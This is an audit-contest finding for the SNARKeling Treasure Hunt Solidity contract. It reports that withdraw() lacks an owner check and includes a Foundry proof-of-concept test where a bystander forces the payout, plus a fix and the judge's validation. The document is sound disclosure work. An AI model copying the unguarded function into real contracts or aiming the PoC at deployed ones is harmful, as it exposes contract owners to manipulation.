SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: low
Valid

`withdraw()` has no access control; any caller can force a transfer to the owner

webrainsec

Description

TreasureHunt.withdraw() at line 223 has no onlyOwner or equivalent guard, unlike every other admin function. Once claimsCount >= MAX_TREASURES, any external caller can trigger it. Funds always flow to owner so there is no direct theft, but the owner loses control of when the withdrawal lands on-chain.

function withdraw() external { // no onlyOwner
require(claimsCount >= MAX_TREASURES, "HUNT_NOT_OVER");
...
(bool sent, ) = owner.call{value: balance}("");
...
}

Compare with fund() (237), pause() (246), unpause() (255), updateVerifier() (265), emergencyWithdraw() (275) — all explicitly require msg.sender == owner.

Risk

Likelihood: moderate. A malicious 10th-claim recipient can reenter withdraw() from their fallback; with no donations the balance is zero at that moment and the inner require(balance > 0) reverts, but any donation via receive() makes the reentrant call succeed. Impact: forced timing of the owner's payout transaction (tax, multisig signing windows). No direct fund loss.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
​
import "forge-std/Test.sol";
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {IVerifier} from "../src/Verifier.sol";
​
contract PoC_L01 is Test {
TreasureHunt hunt;
address mockVerifier = address(0xABCDEF);
address owner = address(0xDEAD);
​
function setUp() public {
vm.etch(mockVerifier, hex"00");
vm.deal(owner, 200 ether);
vm.prank(owner);
hunt = new TreasureHunt{value: 100 ether}(mockVerifier);
vm.mockCall(mockVerifier, abi.encodeWithSelector(IVerifier.verify.selector), abi.encode(true));
​
// reach claimsCount == 10 via the dedup bug
vm.startPrank(address(0xBAD));
for (uint256 i = 0; i < 10; i++) {
hunt.claim(hex"de", bytes32(uint256(1)), payable(address(uint160(0xA11CE0 + i))));
}
vm.stopPrank();
}
​
function test_bystander_forces_withdraw() public {
(bool ok, ) = address(hunt).call{value: 1 ether}("");
require(ok);
uint256 before_ = owner.balance;
vm.prank(address(0xB05)); // random bystander, not owner
hunt.withdraw();
assertEq(owner.balance, before_ + 1 ether, "bystander forced owner payout");
}
}

Recommended Mitigation

function withdraw() external {
+ require(msg.sender == owner, "ONLY_OWNER");
require(claimsCount >= MAX_TREASURES, "HUNT_NOT_OVER");
...
}
Updates

Lead Judging Commences

s3mvl4d Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

broken access control in withdraw()

The `withdraw()` function is intended as an owner-only post-hunt recovery function, but the implementation does not actually enforce any ownership check before transferring the full remaining balance to owner. The function only requires that `claimsCount >= MAX_TREASURES` and that the contract balance is nonzero, after which it sends all ETH to the stored owner address regardless of who called the function. Therefore, the access control on the function itself is incomplete because any external account can trigger the withdrawal path once the hunt is considered over.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!